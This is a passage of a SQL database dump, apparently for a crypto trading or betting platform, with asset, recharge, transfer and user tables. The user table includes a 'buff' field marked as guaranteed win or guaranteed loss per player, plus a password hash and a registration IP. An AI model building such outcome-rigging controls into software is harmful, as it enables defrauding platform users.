18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'usdt', 100000.000000, 0.000000, 100000.000000, '1', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 08:14:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_app_mail +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_mail`; +CREATE TABLE `t_app_mail` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_id` bigint(0) NULL DEFAULT NULL, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '标题', + `content` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '内容', + `type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '消息类型 1=普通消息 2=全站消息', + `status` int(0) NOT NULL DEFAULT 0 COMMENT '状态(0 未读 1已读)', + `opertor_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '操作人', + `create_time` datetime(0) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '0正常 2删除', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1051 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '1v1站内信' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_app_recharge +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_recharge`; +CREATE TABLE `t_app_recharge` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` bigint(0) NOT NULL COMMENT '所有者ID', + `username` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `amount` decimal(30, 6) NOT NULL COMMENT '充值金额', + `bonus` int(0) NULL DEFAULT 0, + `status` tinyint(0) NOT NULL COMMENT '状态', + `serial_id` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '' COMMENT '订单号', + `tx_id` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '第三方支付订单号', + `type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `address` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '充值地址', + `tree` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `coin` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '币总', + `to_address` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '入款地址', + `block_time` datetime(0) NULL DEFAULT NULL COMMENT '区块时间', + `host` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `real_amount` decimal(18, 6) NULL DEFAULT NULL COMMENT '实际到账金额', + `file_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '充值凭证', + `recharge_remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `notice_flag` int(0) NULL DEFAULT 0 COMMENT '通知字段 0未通知 1通知了', + `app_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT 'app代理ids', + `admin_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '后台代理ids', + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + `order_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '订单类型 1/null=充值 2=彩金赠送', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `tx_id`(`tx_id`) USING BTREE, + INDEX `user_id`(`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 120 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '用户充值表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_recharge +-- ---------------------------- +INSERT INTO `t_app_recharge` VALUES (118, 'test01', '2023-11-23 21:58:24', 'admin', '2023-12-07 18:56:59', NULL, 309, 'test01', 400.000000, 0, 1, 'W1123135814493', NULL, 'USDT-TRC', NULL, 'TYxYjZ4SyFXfwPa9h2YgYoYXjogoUNwejY', NULL, 'usdt', NULL, NULL, NULL, 400.000000, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0388ec593811d4fe88538be18edca46e4.png', NULL, 0, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_recharge` VALUES (119, '123456', '2023-12-08 02:57:58', 'admin', '2023-12-07 18:58:20', NULL, 315, '123456', 1500.000000, 0, 1, 'W1207185713490', NULL, 'USDT-TRC', NULL, '111111111', NULL, 'usdt', NULL, NULL, NULL, 1500.000000, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.015ea4e63a3b3438682e3936abcee798a.png', NULL, 0, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_app_sub_transfer +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_sub_transfer`; +CREATE TABLE `t_app_sub_transfer` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `email` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '子账号邮箱', + `email_type` tinyint(1) NOT NULL COMMENT '1转入,2转出', + `type` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '划转类型:\"SPOT\",\"USDT_FUTURE\",\"COIN_FUTURE\",\"MARGIN\"(Cross),\"ISOLATED_MARGIN\"', + `tranid` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '订单号', + `amount` decimal(11, 0) NOT NULL COMMENT '价格', + `asset` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '货币类型', + `status` tinyint(0) NOT NULL DEFAULT 1 COMMENT '1正常 2失败', + `create_time` datetime(0) NOT NULL COMMENT '创建时间', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 15 CHARACTER SET = utf8mb3 COLLATE = utf8mb3_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_sub_transfer +-- ---------------------------- +INSERT INTO `t_app_sub_transfer` VALUES (1, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708317752730', 5, 'USDT', 2, '2024-02-19 12:42:33'); +INSERT INTO `t_app_sub_transfer` VALUES (2, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708318012700', 5, 'USDT', 2, '2024-02-19 12:46:53'); +INSERT INTO `t_app_sub_transfer` VALUES (3, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708318080916', 5, 'USDT', 1, '2024-02-19 12:48:01'); +INSERT INTO `t_app_sub_transfer` VALUES (4, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319214436', 1, 'USDT', 1, '2024-02-19 13:06:54'); +INSERT INTO `t_app_sub_transfer` VALUES (5, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319224210', 1, 'USDT', 1, '2024-02-19 13:07:04'); +INSERT INTO `t_app_sub_transfer` VALUES (6, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319291239', 1, 'USDT', 1, '2024-02-19 13:08:11'); +INSERT INTO `t_app_sub_transfer` VALUES (7, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319537938', 1, 'USDT', 1, '2024-02-19 13:12:18'); +INSERT INTO `t_app_sub_transfer` VALUES (8, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319824921', 1, 'USDT', 1, '2024-02-19 13:17:05'); +INSERT INTO `t_app_sub_transfer` VALUES (9, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319843707', 1, 'USDT', 1, '2024-02-19 13:17:24'); +INSERT INTO `t_app_sub_transfer` VALUES (10, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319906328', 1, 'USDT', 1, '2024-02-19 13:18:26'); +INSERT INTO `t_app_sub_transfer` VALUES (11, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319977970', 1, 'USDT', 1, '2024-02-19 13:19:38'); +INSERT INTO `t_app_sub_transfer` VALUES (12, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708337037755', 5, 'USDT', 1, '2024-02-19 18:03:58'); +INSERT INTO `t_app_sub_transfer` VALUES (13, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708353526467', 5, 'USDT', 1, '2024-02-19 22:38:46'); +INSERT INTO `t_app_sub_transfer` VALUES (14, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708354258035', 5, 'USDT', 1, '2024-02-19 22:50:58'); + +-- ---------------------------- +-- Table structure for t_app_user +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_user`; +CREATE TABLE `t_app_user` ( + `user_id` bigint(0) NOT NULL AUTO_INCREMENT, + `login_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '姓名', + `login_password` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '登陆密码', + `phone` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '手机号', + `is_test` int(0) NULL DEFAULT NULL COMMENT '0-正常 1-测试', + `address` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '' COMMENT '地址', + `wallet_type` varchar(15) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT 'ETH' COMMENT '地址类型 ETH TRC', + `status` int(0) NOT NULL DEFAULT 0 COMMENT '0正常1冻结', + `totle_amont` decimal(20, 6) NULL DEFAULT NULL COMMENT '总打码量', + `recharge_amont` decimal(20, 6) NULL DEFAULT NULL COMMENT '充值打码量', + `buff` int(0) NULL DEFAULT NULL COMMENT '0正常 1包赢 2包输', + `app_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'app代理ids', + `admin_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台代理ids', + `active_code` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '' COMMENT '邀请码', + `register_ip` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '注册ip', + `host` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '注册域名', + `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '邮箱', + `level` int(0) NULL DEFAULT NULL COMMENT 'vip等级 ', + `is_freeze` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否冻结 1=正常 2=冻结', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `is_black` int(0) NULL DEFAULT NULL COMMENT '黑名单 1=正常 2拉黑', + `binance_email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币安子账号邮箱', + PRIMARY KEY (`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 337 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '玩家用户表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_user +-- ---------------------------- +INSERT INTO `t_app_user` VALUES (309, 'test01', '$2a$10$20t6jekznsbRKBxVURr/wO9JKCZX0BlE/VF6ec57AU7WXtOJl0Hx.', NULL, 1, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'XRHCGZ', NULL, '156.251.226.70', NULL, 0, NULL, 'admin', '2023-11-19 00:48:47', NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (324, 'awen123', 